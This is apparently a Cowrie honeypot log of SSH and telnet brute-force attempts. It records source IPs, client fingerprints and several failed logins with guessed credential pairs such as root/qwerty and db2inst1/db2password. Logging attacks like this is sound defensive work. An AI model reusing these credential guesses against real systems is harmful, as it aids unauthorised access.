{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:28.809273Z","src_ip":"8.210.75.243","session":"9e5f3894d717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59448,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed60e68d9343","protocol":"telnet","message":"New connection: 170.64.224.25:59448 (159.203.135.109:23) [session: ed60e68d9343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:29.213526Z"}
{"eventid":"cowrie.session.closed","duration":54.98940443992615,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:35.116221Z","src_ip":"170.64.224.25","session":"f213e24f0e64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00280141830444,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:36.568020Z","src_ip":"170.64.224.25","session":"7ac10b3c9925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":41250,"dst_ip":"10.17.0.5","dst_port":22,"session":"508346037b79","protocol":"ssh","message":"New connection: 91.92.40.4:41250 (10.17.0.5:22) [session: 508346037b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:44.474586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:44.478165Z","src_ip":"91.92.40.4","session":"508346037b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:44.558212Z","src_ip":"91.92.40.4","session":"508346037b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"654321","message":"login attempt [test/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:44.804470Z","src_ip":"91.92.40.4","session":"508346037b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:45.898650Z","src_ip":"91.92.40.4","session":"508346037b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49160,"dst_ip":"10.17.0.5","dst_port":22,"session":"92d7fa337c5b","protocol":"ssh","message":"New connection: 8.210.75.243:49160 (10.17.0.5:22) [session: 92d7fa337c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:46.264228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:48.577425Z","src_ip":"8.210.75.243","session":"92d7fa337c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:49.190850Z","src_ip":"8.210.75.243","session":"9b070d1ad02e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:49.416181Z","src_ip":"8.210.75.243","session":"92d7fa337c5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":41764,"dst_ip":"10.17.0.5","dst_port":22,"session":"f705742e805f","protocol":"ssh","message":"New connection: 62.133.62.83:41764 (10.17.0.5:22) [session: f705742e805f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:52.255446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:52.259332Z","src_ip":"62.133.62.83","session":"f705742e805f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:52.337659Z","src_ip":"62.133.62.83","session":"f705742e805f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kraftway","message":"login attempt [root/kraftway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:52.577564Z","src_ip":"62.133.62.83","session":"f705742e805f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:53.657772Z","src_ip":"62.133.62.83","session":"f705742e805f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:56.265849Z","src_ip":"8.210.75.243","session":"92d7fa337c5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":37612,"dst_ip":"10.17.0.5","dst_port":22,"session":"36b993cec222","protocol":"ssh","message":"New connection: 152.67.46.203:37612 (10.17.0.5:22) [session: 36b993cec222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:56.602968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:56.606358Z","src_ip":"152.67.46.203","session":"36b993cec222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:56.720494Z","src_ip":"152.67.46.203","session":"36b993cec222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db2inst1","password":"db2password","message":"login attempt [db2inst1/db2password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:57.202768Z","src_ip":"152.67.46.203","session":"36b993cec222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":42120,"dst_ip":"159.203.135.109","dst_port":22,"session":"216d024f9e48","protocol":"ssh","message":"New connection: 162.144.213.198:42120 (159.203.135.109:22) [session: 216d024f9e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:57.366997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:57.371120Z","src_ip":"162.144.213.198","session":"216d024f9e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:57.460079Z","src_ip":"162.144.213.198","session":"216d024f9e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jordan_crypto","password":"jordan123","message":"login attempt [jordan_crypto/jordan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:57.726389Z","src_ip":"162.144.213.198","session":"216d024f9e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:58.317152Z","src_ip":"152.67.46.203","session":"36b993cec222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:23:58.817107Z","src_ip":"162.144.213.198","session":"216d024f9e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.198708295822144,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:00.109117Z","src_ip":"170.64.224.25","session":"16e3b19dfcd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":34354,"dst_ip":"10.17.0.5","dst_port":22,"session":"af0f6e728318","protocol":"ssh","message":"New connection: 101.36.111.155:34354 (10.17.0.5:22) [session: af0f6e728318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:00.227123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:00.231534Z","src_ip":"101.36.111.155","session":"af0f6e728318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:00.448683Z","src_ip":"101.36.111.155","session":"af0f6e728318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:01.233514Z","src_ip":"8.210.75.243","session":"92d7fa337c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111","message":"login attempt [root/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:01.352221Z","src_ip":"101.36.111.155","session":"af0f6e728318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:02.572622Z","src_ip":"101.36.111.155","session":"af0f6e728318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":44336,"dst_ip":"159.203.135.109","dst_port":22,"session":"70d77d94ab0c","protocol":"ssh","message":"New connection: 162.241.177.22:44336 (159.203.135.109:22) [session: 70d77d94ab0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:10.529933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:10.533267Z","src_ip":"162.241.177.22","session":"70d77d94ab0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:10.556012Z","src_ip":"162.241.177.22","session":"70d77d94ab0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agix2024","message":"login attempt [root/agix2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:10.628346Z","src_ip":"162.241.177.22","session":"70d77d94ab0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:11.654186Z","src_ip":"162.241.177.22","session":"70d77d94ab0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.353872299194336,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:20.567262Z","src_ip":"170.64.224.25","session":"ed60e68d9343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:23.746301Z","src_ip":"8.210.75.243","session":"a1f8e4801056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":60660,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4d02cbee4b9","protocol":"ssh","message":"New connection: 81.192.46.32:60660 (10.17.0.5:22) [session: a4d02cbee4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:46.827728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:46.831118Z","src_ip":"81.192.46.32","session":"a4d02cbee4b9","protocol":"ssh"}
